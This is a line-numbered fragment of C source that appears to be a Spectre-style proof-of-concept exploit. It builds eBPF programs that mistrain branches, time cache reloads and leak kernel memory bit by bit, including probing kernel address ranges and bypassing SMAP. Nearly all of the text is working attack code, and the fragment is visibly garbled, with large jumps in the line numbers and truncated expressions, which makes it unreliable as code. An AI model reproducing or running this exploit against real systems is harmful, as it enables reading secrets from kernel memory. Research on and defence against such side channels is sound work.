BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), 402 | BPF_EXIT_INSN(), 403 | BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), 404 | 405 | /* lfence and get time */ 406 | BPF_EMIT_CALL(BPF_FUNC_ktime_get_ns), 407 | BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), 408 | 409 | /* do the actual load */ 410 | BPF_LDX_MEM(BPF_B, BPF_REG_7, BPF_REG_7, 0), 411 | 412 | /* 413 | * lfence and get time delta 414 | * r6 = ktime_get_ns() - r6 415 | */ 416 | BPF_EMIT_CALL(BPF_FUNC_ktime_get_ns), 417 | BPF_ALU64_REG(BPF_SUB, BPF_REG_0, BPF_REG_6), 418 | BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), 419 | 420 | /* store time delta */ 421 | BPF_LD_MAP_FD(BPF_REG_ARG1, ret.control_array), 422 | BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), 423 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), 424 | BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 1), 425 | BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 426 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), 427 | BPF_EXIT_INSN(), 428 | BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_6, 0), 429 | 430 | BPF_MOV64_IMM(BPF_REG_0, 0), 431 | BPF_EXIT_INSN() 432 | }; 433 | 434 | ret.sockfd = create_filtered_socket_fd(insns, ARRSIZE(insns)); 435 | return ret; 436 | } 437 | 438 | void trigger_proc(int sockfd) { 439 | if (write(sockfd, "X", 1) != 1) 440 | err(1, "write to proc socket failed"); 441 | } 442 | 443 | uint32_t perform_timed_read(struct array_timed_reader_prog *prog, int index) { 444 | array_set(prog->control_array, 0, index); 445 | array_set(prog->control_array, 1, 0x13371337); /* poison, for error detection */ 446 | trigger_proc(prog->sockfd); 447 | uint32_t res = array_get(prog->control_array, 1); 448 | if (res == 0x13371337) 449 | errx(1, "got poison back after timed read, eBPF code is borked"); 450 | return res; 451 | } 452 | 453 | void exit_fixup(struct bpf_insn *insns, size_t arrsize) { 454 | int exit_idx = arrsize - 1; 455 | for (int i=0; i= 0xffff880000000000; high_order_guess += FP_SPAM_AREA_SIZE) { 626 | for (int mislead_i = 0; mislead_i < 33; mislead_i++) { 627 | if ((mislead_i&7) != 7) { 628 | array_set_dw(data_map, 1, 0); // execute instaquit program ; execute quite program with normal offset. mistraining conditional branch!! 629 | } else { // execute wrong index. 630 | array_set_dw(data_map, 1, ((unsigned long)area - (high_order_guess + BPF_ARRAY_VALUE_OFFSET)) / 8); 631 | 632 | // flush probing memory in user space 633 | for (unsigned long in_vma_offset=0; in_vma_offset= PAGE_SIZE_LOG2+FP_PAGES_PER_VMA_LOG2; 681 | middle_bit_idx--) { 682 | printf("testing for bit %d (0x%lx): ", middle_bit_idx, 1UL< votes_1) ? 0 : 1; 731 | unsigned long addr_mixin = decided_bit ? (1UL<data_map, 2, 1UL<data_map, 3, in_dw_bit_offset); // 3 - bitshift 1007 | 1008 | char *user_leak_ptr1 = user_leak_area; 1009 | char *user_leak_ptr2 = user_leak_area + 1024; /* 64 * 8 = 1024, 8 cache lines, Leak a bit!! */ 1010 | 1011 | for (int i=0; i<0x201; i++) { 1012 | if ((i & 0xf) != 0xf) { 1013 | array_set_dw(leakprog->data_map, 0, 3); // access at 8*3, 0 - index of secret value 1014 | array_set_dw(leakprog->data_map, 1, 0); // execute instaquit program, 1 - start offset in prog_map 1015 | } else { 1016 | array_set_dw(leakprog->data_map, 0, dw_offset); // access at 8*dw_offset 1017 | array_set_dw(leakprog->data_map, 1, kernel_leak_area_index); // leak to kernel-direct-mmaped space, to bypass SMAP */ 1018 | 1019 | bounce_two_cachelines(leakprog->victim_map, leakprog->prog_map); 1020 | user_flush_cacheline(user_leak_ptr1); 1021 | user_flush_cacheline(user_leak_ptr2); 1022 | } 1023 | 1024 | trigger_proc(leakprog->sockfd); 1025 | 1026 | if ((i & 0xf) != 0xf) { 1027 | 1028 | } else { 1029 | int times[2]; 1030 | times[0] = user_timed_reload(user_leak_ptr1); 1031 | times[1] = user_timed_reload(user_leak_ptr2); 1032 | bool bit_is_0 = (times[0] < 120); 1033 | bool bit_is_1 = (times[1] < 120); 1034 | if (bit_is_0 != bit_is_1) { 1035 | return bit_is_1; 1036 | } else { 1037 | 1038 | } 1039 | } 1040 | } 1041 | 1042 | return -1; 1043 | } 1044 | 1045 | int leak_byte(struct mem_leaker_prog *leakprog, unsigned long byte_offset, 1046 | unsigned long kernel_leak_area_index, char *kernel_leak_area, 1047 | unsigned long user_leak_area_index, char *user_leak_area) { 1048 | int byte = 0; 1049 | int bit_pos_for_byte = (byte_offset&0x7)*8; 1050 | for (int pos = 0; pos < 8; pos++) { 1051 | int bit = leak_bit(leakprog, byte_offset/8, bit_pos_for_byte + pos, 1052 | kernel_leak_area_index, kernel_leak_area, user_leak_area_index, user_leak_area); 1053 | if (bit == -1) { 1054 | return -1; 1055 | } 1056 | if (bit == 1) { 1057 | byte |= (1<